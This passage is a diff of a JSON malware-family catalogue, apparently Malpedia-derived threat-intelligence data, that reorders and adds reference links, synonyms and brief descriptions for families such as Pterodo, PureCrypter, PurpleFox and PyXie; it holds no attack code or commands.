@@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometheus", - "https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea", "https://unit42.paloaltonetworks.com/prometheus-ransomware/", + "https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd", "https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/", + "https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware", + "https://twitter.com/inversecos/status/1441252744258461699?s=20", "https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/", "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", "https://www.sentinelone.com/labs/spook-ransomware-prometheus-derivative-names-those-that-pay-shames-those-that-dont/", - "https://twitter.com/inversecos/status/1441252744258461699?s=20", "https://id-ransomware.blogspot.com/2021/05/prometheus-ransomware.html", - "https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware", - "https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd" + "https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea" ], "synonyms": [], "type": [] @@ -36949,9 +38878,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prynt_stealer", - "https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed", "https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/", - "https://twitter.com/vxunderground/status/1519632014361640960" + "https://twitter.com/vxunderground/status/1519632014361640960", + "https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed" ], "synonyms": [], "type": [] @@ -36964,8 +38893,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/", "https://asec.ahnlab.com/en/31683/", - "https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/" + "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", + "https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscrypt-sinkholing-part-1" ], "synonyms": [], "type": [] @@ -36978,14 +38910,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.psix", - "https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/", - "https://twitter.com/mesa_matt/status/1035211747957923840", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.proofpoint.com/us/threat-insight/post/psixbot-now-using-google-dns-over-https-and-possible-new-sexploitation-module", "https://twitter.com/seckle_ch/status/1169558035649433600", - "https://www.proofpoint.com/us/threat-insight/post/psixbot-continues-evolve-updated-dns-infrastructure" + "https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/", + "https://www.proofpoint.com/us/threat-insight/post/psixbot-continues-evolve-updated-dns-infrastructure", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://twitter.com/mesa_matt/status/1035211747957923840", + "https://blog.comodo.com/comodo-news/versions-of-psixbot/", + "https://www.proofpoint.com/us/threat-insight/post/psixbot-now-using-google-dns-over-https-and-possible-new-sexploitation-module" + ], + "synonyms": [ + "PsiXBot" ], - "synonyms": [], "type": [] }, "uuid": "416ae41e-17b2-46f6-847b-2831a0b3f8e9", @@ -36997,7 +38932,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger", "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a", - "https://norfolkinfosec.com/a-lazarus-keylogger-pslogger/" + "https://norfolkinfosec.com/a-lazarus-keylogger-pslogger/", + "https://twitter.com/KevinPerlow/status/1160766519615381504" ], "synonyms": [ "ECCENTRICBANDWAGON" @@ -37027,28 +38963,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon", - "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", - "https://blog.yoroi.company/research/cyberwarfare-a-deep-dive-into-the-latest-gamaredon-espionage-campaign/", - "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", - "https://www.bleepingcomputer.com/news/security/russian-gamaredon-hackers-use-8-new-malware-payloads-in-attacks/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine", + "https://blog.yoroi.company/research/cyberwarfare-a-deep-dive-into-the-latest-gamaredon-espionage-campaign/", "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", - "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game", + "https://www.bleepingcomputer.com/news/security/russian-gamaredon-hackers-use-8-new-malware-payloads-in-attacks/", + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", + "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", + "https://cert.gov.ua/news/42", "https://blogs.cisco.com/security/network-footprints-of-gamaredon-group", - "https://blog.threatstop.com/russian-apt-gamaredon-group", "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "https://labs.sentinelone.com/pro-russian-cyberspy-gamaredon-intensifies-ukrainian-security-targeting/", - "https://cert.gov.ua/news/46", - "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021", - "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", - "https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html", - "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", - "https://attack.mitre.org/groups/G0047", - "https://cert.gov.ua/news/42", - "https://www.elastic.co/blog/playing-defense-against-gamaredon-group", + "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt", + "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", - "https://threatrecon.nshc.net/2019/06/11/sectorc08-multi-layered-sfx-recent-campaigns-target-ukraine/" + "https://blogs.blackberry.com/en/2022/11/gamaredon-leverages-microsoft-office-docs-to-target-ukraine-government", + "https://threatrecon.nshc.net/2019/06/11/sectorc08-multi-layered-sfx-recent-campaigns-target-ukraine/", + "https://www.elastic.co/blog/playing-defense-against-gamaredon-group", + "https://attack.mitre.org/groups/G0047", + "https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html", + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/", + "https://blog.threatstop.com/russian-apt-gamaredon-group", + "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021", + "https://cert.gov.ua/news/46", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://threatmon.io/cybergun-technical-analysis-of-the-armageddons-infostealer/", + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" ], "synonyms": [ "Pterodo" @@ -37081,6 +39020,7 @@ "https://www.pandasecurity.com/mediacenter/malware/punkeypos/" ], "synonyms": [ + "poscardstealer", "pospunk", "punkeypos" ], @@ -37094,21 +39034,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", - "https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html", - "https://www.infinitumit.com.tr/apt-35/", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt", "https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf", - "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", - "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.infinitumit.com.tr/apt-35/", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "https://github.com/n1nj4sec/pupy", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html", + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", + "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", + "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf", + "https://labs.k7computing.com/index.php/pupy-rat-hiding-under-werfaults-cover/", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt" ], "synonyms": [ "Patpoopy" @@ -37118,14 +39059,28 @@ "uuid": "8a789016-5f8d-4cd9-ba96-ba253db42fd8", "value": "pupy (Windows)" }, + { + "description": "According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021\r\nThe malware has been observed distributing a variety of remote access trojans and information stealers\r\nThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software products\r\nPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Google’s Protocol Buffer message format ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter", + "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "554993dc-2a30-43d9-ac96-fc9b9cca29f6", + "value": "PureCrypter" + }, { "description": "ransomware", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purelocker", - "https://exchange.xforce.ibmcloud.com/collection/99c7156cff70e1d8e1687ab7dadc8c0e", "https://www.intezer.com/blog-purelocker-ransomware-being-used-in-targeted-attacks-against-servers/", - "https://github.com/albertzsigovits/malware-notes/blob/master/PureLocker.md" + "https://github.com/albertzsigovits/malware-notes/blob/master/PureLocker.md", + "https://exchange.xforce.ibmcloud.com/collection/99c7156cff70e1d8e1687ab7dadc8c0e" ], "synonyms": [], "type": [] @@ -37138,24 +39093,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox", - "https://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-the-impact-of-cryptocurrency-mining-malware", - "https://www.trendmicro.com/en_us/research/21/l/a-look-into-purple-fox-server-infrastructure.html", - "https://twitter.com/C0rk1_H/status/1412801973628272641?s=20", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/Technical%20Brief%20-%20A%20Look%20Into%20Purple%20Fox%E2%80%99s%20New%20Arrival%20Vector.pdf", - "https://www.trendmicro.com/en_us/research/21/g/purplefox-using-wpad-to-targent-indonesian-users.html", - "https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit", - "https://s.tencent.com/research/report/1322.html", - "https://www.trendmicro.com/en_in/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html", - "https://threatresearch.ext.hp.com/purple-fox-exploit-kit-now-exploits-cve-2021-26411/", - "https://www.thecybersecuritytimes.com/purple-fox-malware-is-actively-distributed-via-telegram-installers/", - "https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit", - "https://www.guardicore.com/labs/purple-fox-rootkit-now-propagates-as-a-worm/", - "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell/", "https://blog.malwarebytes.com/trojans/2021/03/perkiler-malware-turns-to-smb-brute-force-to-spread/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/Technical%20Brief%20-%20A%20Look%20Into%20Purple%20Fox%E2%80%99s%20New%20Arrival%20Vector.pdf", + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", + "https://twitter.com/C0rk1_H/status/1412801973628272641?s=20", + "https://blog.trendmicro.com/trendlabs-security-intelligence/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell/", + "https://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html", + "https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit", + "https://www.trendmicro.com/en_us/research/21/l/a-look-into-purple-fox-server-infrastructure.html", + "https://www.trendmicro.com/en_in/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-the-impact-of-cryptocurrency-mining-malware", + "https://www.trendmicro.com/en_us/research/21/g/purplefox-using-wpad-to-targent-indonesian-users.html", + "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/IOCs-Purple-Fox.txt", - "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html" + "https://www.guardicore.com/labs/purple-fox-rootkit-now-propagates-as-a-worm/", + "https://s.tencent.com/research/report/1322.html", + "https://www.thecybersecuritytimes.com/purple-fox-malware-is-actively-distributed-via-telegram-installers/", + "https://threatresearch.ext.hp.com/purple-fox-exploit-kit-now-exploits-cve-2021-26411/", + "https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit" ], "synonyms": [], "type": [] @@ -37164,7 +39119,7 @@ "value": "PurpleFox" }, { - "description": "", + "description": "ZScaler reported on a new Infostealer called PurpleWave, which is written in C++ and silently installs itself onto a user’s system. It connects to a command and control (C&C) server to send system information and installs new malware onto the infected system.\r\n\r\nThe author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000 RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave", @@ -37181,14 +39136,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo", - "https://www.secureworks.com/research/pushdo", - "http://www.secureworks.com/research/threat-profiles/gold-essex", - "http://malware-traffic-analysis.net/2017/04/03/index2.html", - "https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf", - "https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-essex", - "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/" + "http://www.secureworks.com/research/threat-profiles/gold-essex", + "https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf", + "https://www.secureworks.com/research/pushdo", + "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", + "http://malware-traffic-analysis.net/2017/04/03/index2.html", + "https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/", + "https://www.secureworks.com/research/threat-profiles/gold-essex" ], "synonyms": [], "type": [] @@ -37239,32 +39194,32 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker", - "https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.group-ib.com/blog/prolock_evolution", - "https://www.intrinsec.com/egregor-prolock/", - "https://www.group-ib.com/blog/prolock", - "https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/", - "https://www.cert-pa.it/notizie/pwndlocker-si-rinnova-in-prolock-ransomware/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/", - "https://www.bleepingcomputer.com/news/security/pwndlocker-ransomware-gets-pwned-decryption-now-available/", - "https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html", + "https://www.group-ib.com/blog/prolock_evolution", + "https://www.bleepingcomputer.com/news/security/new-pwndlocker-ransomware-targeting-us-cities-enterprises/", "https://id-ransomware.blogspot.com/2019/10/pwndlocker-ransomware.html", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.group-ib.com/blog/prolock", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html", + "https://www.intrinsec.com/egregor-prolock/", "https://www.zdnet.com/article/fbi-prolock-ransomware-gains-access-to-victim-networks-via-qakbot-infections/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/", "https://news.sophos.com/en-us/2020/07/27/prolock-ransomware-gives-you-the-first-8-kilobytes-of-decryption-for-free/", - "https://www.bleepingcomputer.com/news/security/new-pwndlocker-ransomware-targeting-us-cities-enterprises/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/" + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/", + "https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf", + "https://www.bleepingcomputer.com/news/security/pwndlocker-ransomware-gets-pwned-decryption-now-available/", + "https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/", + "https://www.cert-pa.it/notizie/pwndlocker-si-rinnova-in-prolock-ransomware/" ], "synonyms": [ "ProLock" @@ -37290,14 +39245,30 @@ "uuid": "c903627c-90f6-44ee-9750-4bb44bdbceab", "value": "pwnpos" }, + { + "description": "Py2exe built worm propagating via USB drives, having wiper features embedded in the logic (based on today's date being later than 2016-04-03 and existence of a file C:\\txt.txt)", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pyfiledel", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/worm.win32.pyfiledel.aa", + "https://biebermalware.wordpress.com/2018/02/14/reversing-py2exe-binaries/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ea8f44b0-6940-42e0-a93f-77a6b572b140", + "value": "win.pyfiledel" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa", - "https://blogs.akamai.com/sitr/2019/07/pykspa-v2-dga-updated-to-become-selective.html", + "https://bin.re/blog/pykspas-inferior-dga-version/", "https://www.youtube.com/watch?v=HfSQlC76_s4", "https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/", + "https://blogs.akamai.com/sitr/2019/07/pykspa-v2-dga-updated-to-become-selective.html", + "https://bin.re/blog/the-dga-of-pykspa/", "https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/" ], "synonyms": [], @@ -37311,14 +39282,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky", + "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", + "https://www.bleepingcomputer.com/news/security/pylocky-decryptor-released-by-french-authorities/", + "https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/", "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", - "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/", "https://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-locky-poser-pylocky-ransomware/", "https://blog.talosintelligence.com/2019/01/pylocky-unlocked-cisco-talos-releases.html", - "https://www.bleepingcomputer.com/news/security/pylocky-decryptor-released-by-french-authorities/", "https://www.cybermalveillance.gouv.fr/nos-articles/outil-dechiffrement-rancongiciel-ransomware-pylocky-v1-2/", - "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", - "https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/" + "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/" ], "synonyms": [ "Locky Locker" @@ -37333,19 +39304,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pyxie", - "https://www.secureworks.com/research/threat-profiles/gold-dupont", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://threatvector.cylance.com/en_us/home/meet-pyxie-a-nefarious-new-python-rat.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", - 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"https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://threatvector.cylance.com/en_us/home/meet-pyxie-a-nefarious-new-python-rat.html", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx" ], "synonyms": [ "PyXie RAT" @@ -37372,13 +39343,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.johannesbader.ch/2016/04/the-dga-of-qadars/", "https://info.phishlabs.com/blog/dissecting-the-qadars-banking-trojan", - "https://securityintelligence.com/an-analysis-of-the-qadars-trojan/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://securityintelligence.com/meanwhile-britain-qadars-v3-hardens-evasion-targets-18-uk-banks/", - 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"https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://www.elastic.co/security-labs/qbot-malware-analysis", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-countermeasures/", + "https://www.elastic.co/de/security-labs/qbot-malware-analysis", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://twitter.com/Unit42_Intel/status/1461004489234829320", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html", + "https://www.bleepingcomputer.com/news/security/qbot-phishing-uses-windows-calculator-sideloading-to-infect-devices/", + "https://www.youtube.com/watch?v=iB1psRMtlqg", + "https://twitter.com/kienbigmummy/status/1460537501676802051", + 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"https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", + "https://www.group-ib.com/blog/egregor", + "https://blog.talosintelligence.com/2016/04/qbot-on-the-rise.html", + "https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/", + "https://blog.cyble.com/2023/02/17/the-many-faces-of-qakbot-malware-a-look-at-its-diverse-distribution-methods/", + "https://www.netresec.com/?page=Blog&month=2023-03&post=QakBot-C2-Traffic", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", + "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", + "https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf", + "https://www.securityhomework.net/articles/qakbot_ccs_prioritization_and_new_record_types/qakbot_ccs_prioritization_and_new_record_types.php", + "https://securelist.com/qakbot-technical-analysis/103931/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://malwareandstuff.com/an-old-enemy-diving-into-qbot-part-1/", + "https://www.socinvestigation.com/qbot-spreads-via-lnk-files-detection-response/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://www.youtube.com/watch?v=4I0LF8Vm7SI", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://www.malwarology.com/posts/4-qakbot-api-hashing/", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://www.circl.lu/pub/tr-64/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://www.group-ib.com/blog/prolock_evolution", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://hatching.io/blog/reversing-qakbot", + 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"https://www.zscaler.com/blogs/security-research/ares-banking-trojan-learns-old-tricks-adds-defunct-qakbot-dga", + 